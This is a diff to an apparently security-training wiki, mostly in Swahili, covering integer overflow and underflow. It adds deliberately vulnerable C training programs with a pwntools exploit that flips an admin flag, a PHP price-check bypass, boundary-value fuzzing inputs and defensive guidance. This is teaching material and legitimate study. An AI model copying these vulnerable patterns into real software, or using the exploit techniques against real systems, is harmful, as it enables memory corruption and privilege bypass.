diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..85b1602e4 --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Taarifa za Msingi + +Kimsingi cha **integer overflow** ni kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **tafsiri** ya data. + +Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 to 255**. Ikiwa utajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, itazunguka kurudi 0 kutokana na kikomo cha uwezo wake wa uhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 to 65,535**, kuongeza 1 kwa 65,535 kutaizungusha thamani kurudi 0. + +Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 to 127**. Hii ni kwa sababu bit moja inatumiwa kuwakilisha ishara (chanya au hasi), ikiacha bits 7 za kuwakilisha ukubwa. Nambari yenye hasi kabisa inawakilishwa kama **-128** (binary `10000000`), na nambari yenye chanya kabisa ni **127** (binary `01111111`). + +Thamani kubwa za aina za integer zinazojulikana: +| Aina | Ukubwa (bits) | Thamani Ndogo | Thamani Kuu | +|----------------|---------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +short ni sawa na `int16_t` na int ni sawa na `int32_t` na long ni sawa na `int64_t` katika mifumo ya 64bits. + +### Thamani Kuu + +Kwa **web vulnerabilities** zinazowezekana ni muhimu kujua thamani za juu zinazoungwa mkono: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## Mifano + +### Safi overflow + +Matokeo yaliyochapishwa yatakuwa 0 kwani tuli overflow char: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Signed to Unsigned Conversion + +Fikiria hali ambapo signed integer inasomwa kutoka kwa ingizo la mtumiaji kisha ikitumika katika muktadha unaoitendea kama unsigned integer, bila uhalalishaji sahihi: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +Katika mfano huu, ikiwa mtumiaji ataingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama (unsigned) kutokana na jinsi thamani za binary zinavyotafsiriwa, na inaweza kusababisha tabia isiyotarajiwa. + +### macOS Overflow Example +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow β†’ undersized allocation β†’ heap overflow β†’ flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 β†’ 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit β†’ wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) β†’ It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kusanya kwa kutumia: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow Mfano +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +I-compile kwa kutumia: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### Mifano Mengine + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) +- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, hivyo kupitisha ukaguzi wa urefu +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + +- Kwa kupewa namba chache, tumia z3 kupata namba mpya ambayo ikizidishwa na nambari ya kwanza itatoa nambari ya pili: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) +- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, kupitisha ukaguzi wa urefu na kuandika juu kwenye stack local variable inayofuata na hivyo kupitisha ulinzi zote mbili + +## ARM64 + +Hii **haibadiliki katika ARM64** kama unavyoweza kuona katika [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index 47995090d..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# Integer Overflow - -{{#include ../banners/hacktricks-training.md}} - -## Basic Information - -Katika msingi wa **integer overflow** kuna kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **ufafanuzi** wa data. - -Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, inarudi nyuma hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 kwa 65,535 itarudisha thamani hiyo hadi 0. - -Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu bit moja inatumika kuwakilisha ishara (chanya au hasi), ikiacha bits 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`). - -### Max values - -Kwa uwezekano wa **web vulnerabilities** ni muhimu kujua thamani za juu zinazoungwa mkono: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## Mifano - -### Overflow safi - -Matokeo yaliyochapishwa yatakuwa 0 kwani tumepita kiwango cha char: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Signed to Unsigned Conversion - -Fikiria hali ambapo nambari iliyo na saini inasomwa kutoka kwa ingizo la mtumiaji na kisha kutumika katika muktadha ambao unait treating kama nambari isiyo na saini, bila uthibitisho sahihi: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama kutokana na jinsi thamani za binary zinavyotafsiriwa, ambayo inaweza kusababisha tabia isiyotarajiwa. - -### Mifano Mingine - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- Imepewa nambari kadhaa pata kutumia z3 nambari mpya ambayo ikizidishwa na ya kwanza itatoa ya pili: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu na kuandika tena kwenye stack variable ya ndani inayofuata na kupita ulinzi wote - -## ARM64 - -Hii **haiwezi kubadilika katika ARM64** kama unavyoona katika [**hiki kipande cha blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 6e1c3b87c..f9342e77e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -> Ukurasa huu unazingatia jinsi **overflow/truncation za integer zinavyoweza kutumika vibaya katika programu za wavuti na vivinjari**. Kwa mbinu za unyakuzi ndani ya binaries asilia unaweza kuendelea kusoma ukurasa uliojitolea: +> Ukurasa huu unaelezea jinsi ambapo **integer overflows/truncations zinaweza kutumiwa katika web applications na browsers**. Kwa exploitation primitives ndani ya native binaries unaweza endelea kusoma ukurasa maalum: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. Kwa nini hesabu za integer bado ni muhimu kwenye wavuti +## 1. Why integer math still matters on the web -Ingawa mantiki nyingi za biashara katika stack za kisasa zimeandikwa katika lugha za *memory-safe*, runtime ya chini (au maktaba za wahusika wengine) hatimaye inatekelezwa kwa C/C++. Kila wakati nambari zinazodhibitiwa na mtumiaji zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **kuzunguka kwa 32-bit au 64-bit kunaweza kubadilisha parameter inayonekana kuwa isiyo na madhara kuwa kusoma/kandika nje ya mipaka, kupita kwa mantiki au DoS**. +Licha ya kwamba sehemu kubwa ya business-logic katika modern stacks imeandikwa kwa lugha za *memory-safe*, runtime inayofanya kazi chini yake (au third-party libraries) hatimaye imeimplemented katika C/C++. Wakati wowote nambari zinazoathiriwa na user zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **wrap-around ya 32-bit au 64-bit inaweza kubadilisha parameter inayotarajiwa kuwa isiyo hatari kuwa out-of-bounds read/write, logic bypass au DoS**. -Uso wa shambulio wa kawaida: +Typical attack surface: -1. **Parameta za ombi za nambari** – viwanja vya kawaida vya id, offset, au count. -2. **Vichwa vya urefu / saizi** – Content-Length, urefu wa fremu ya WebSocket, HTTP/2 continuation_len, n.k. -3. **Metadata ya muundo wa faili inayosindika upande wa seva au upande wa mteja** – vipimo vya picha, saizi za chunk, meza za font. -4. **Mabadiliko ya kiwango cha lugha** – signed↔unsigned casts katika PHP/Go/Rust FFI, JS Number β†’ int32 truncations ndani ya V8. -5. **Uthibitishaji & mantiki ya biashara** – thamani ya kuponi, bei, au hesabu za salio ambazo zinapita kimya. +1. **Numeric request parameters** – classic id, offset, or count fields. +2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc. +3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables. +4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number β†’ int32 truncations inside V8. +5. **Authentication & business logic** – coupon value, price, or balance calculations that silently overflow. --- -## 2. Uthibitisho wa hivi karibuni wa udhaifu wa kweli (2023-2025) +## 2. Recent real-world vulnerabilities (2023-2025) -| Mwaka | Kipengele | Sababu kuu | Athari | +| Mwaka | Komponenti | Sababu kuu | Athari | |------|-----------|-----------|--------| -| 2023 | **libwebp – CVE-2023-4863** | Kuongezeka kwa 32-bit wakati wa kuhesabu saizi ya pikseli iliyotafsiriwa | Ilisababisha Chrome 0-day (BLASTPASS kwenye iOS), iliruhusu *utendaji wa msimbo wa mbali* ndani ya sandbox ya renderer. | -| 2024 | **V8 – CVE-2024-0519** | Truncation hadi 32-bit wakati wa kukua JSArray inasababisha OOB kuandika kwenye duka la nyuma | Utendaji wa msimbo wa mbali baada ya kutembelea mara moja. | -| 2025 | **Apollo GraphQL Server** (patch isiyotolewa) | Integer ya 32-bit iliyosainiwa inatumika kwa argumeti za pagination za kwanza/mwisho; thamani hasi zinazunguka kuwa kubwa chanya | Kupita kwa mantiki & uchovu wa kumbukumbu (DoS). | +| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Ilisababisha Chrome 0-day (BLASTPASS on iOS), ikaruhusu *remote code execution* ndani ya renderer sandbox. | +| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution baada ya kutembelea mara moja. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). | --- -## 3. Mkakati wa kupima +## 3. Testing strategy -### 3.1 Cheat-sheet ya thamani za mpaka +### 3.1 Boundary-value cheat-sheet -Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa: +Tuma **extreme signed/unsigned values** kila mahali ambapo integer inatarajiwa: ``` -1, 0, 1, 127, 128, 255, 256, @@ -49,9 +48,9 @@ Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa: 9223372036854775807, 9223372036854775808, 0x7fffffff, 0x80000000, 0xffffffff ``` -Mifumo mingine ya manufaa: -* Hex (0x100), octal (0377), kisayansi (1e10), JSON big-int (9999999999999999999). -* Mifumo ya nambari ndefu sana (>1kB) ili kufikia parser maalum. +Mifomato mingine muhimu: +* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). +* Mfuatano mrefu sana wa tarakimu (>1kB) ili kugonga custom parsers. ### 3.2 Kiolezo cha Burp Intruder ``` @@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x ``` ### 3.3 Fuzzing libraries & runtimes -* **AFL++/Honggfuzz** na libFuzzer harness kuzunguka parser (mfano, WebP, PNG, protobuf). -* **Fuzzilli** – fuzzing inayojua sarufi ya injini za JavaScript ili kugonga V8/JSC integer truncations. -* **boofuzz** – fuzzing ya itifaki ya mtandao (WebSocket, HTTP/2) ikilenga uwanja wa urefu. +* **AFL++/Honggfuzz** pamoja na libFuzzer harness karibu na parser (kwa mfano, WebP, PNG, protobuf). +* **Fuzzilli** – grammar-aware fuzzing ya JavaScript engines ili kugonga V8/JSC integer truncations. +* **boofuzz** – network-protocol fuzzing (WebSocket, HTTP/2) ikilenga length fields. --- ## 4. Exploitation patterns -### 4.1 Logic bypass in server-side code (PHP example) +### 4.1 Logic bypass katika server-side code (mfano wa PHP) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,27 +78,29 @@ die('Too expensive'); } /* Sending price=21474850 β†’ $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 Heap overflow kupitia decoder ya picha (libwebp 0-day) -Decoder ya WebP isiyo na hasara iliongeza upana wa picha Γ— urefu Γ— 4 (RGBA) ndani ya int ya 32-bit. Faili iliyoundwa kwa vipimo 16384 Γ— 16384 inazidi kuzidisha, inatenga buffer fupi na kisha inaandika **~1GB** ya data iliyoshughulikiwa kupita heap – ikisababisha RCE katika kila kivinjari kinachotegemea Chromium kabla ya 116.0.5845.187. +### 4.2 Heap overflow via image decoder (libwebp 0-day) +WebP lossless decoder ilizidisha image width Γ— height Γ— 4 (RGBA) ndani ya 32-bit int. Faili iliyotengenezwa kwa vipimo 16384 Γ— 16384 iliresulta overflows kwenye multiplication, allocates short buffer na baadaye ikaandika **~1GB** ya decompressed data past the heap – ikisababisha RCE katika every Chromium-based browser kabla ya 116.0.5845.187. -### 4.3 Mnyororo wa XSS/RCE unaotegemea kivinjari -1. **Integer overflow** katika V8 inatoa kusoma/kandika bila mipaka. -2. Kimbia kwenye sandbox kwa hitilafu ya pili au piga API za asili ili kuangusha payload. -3. Payload kisha inaingiza script mbaya katika muktadha wa asili β†’ XSS iliyohifadhiwa. +### 4.3 Browser-based XSS/RCE chain +1. **Integer overflow** in V8 gives arbitrary read/write. +2. Escape the sandbox with a second bug or call native APIs to drop a payload. +3. The payload then injects a malicious script into the origin context β†’ stored XSS. --- -## 5. Miongozo ya kujihami +## 5. Defensive guidelines -1. **Tumia aina pana au hesabu zilizokaguliwa** – e.g., size_t, Rust checked_add, Go math/bits.Add64. -2. **Thibitisha mipaka mapema**: kataa thamani yoyote nje ya eneo la biashara kabla ya hesabu. -3. **Washa sanitizers za kompyuta**: -fsanitize=integer, UBSan, Go race detector. -4. **Pokea fuzzing katika CI/CD** – changanya mrejesho wa kufunika na mipaka ya data. -5. **Baki na sasisho** – hitilafu za integer overflow za kivinjari mara nyingi zinatumika kama silaha ndani ya wiki chache. +1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64. +2. **Validate ranges early**: kataa thamani yoyote nje ya business domain kabla ya arithmetic. +3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector. +4. **Adopt fuzzing in CI/CD** – waunganishe coverage feedback na boundary corpora. +5. **Stay patched** – browser integer overflow bugs mara nyingi zinatumiwa ndani ya wiki. --- -## Marejeo + + +## References * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) * [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)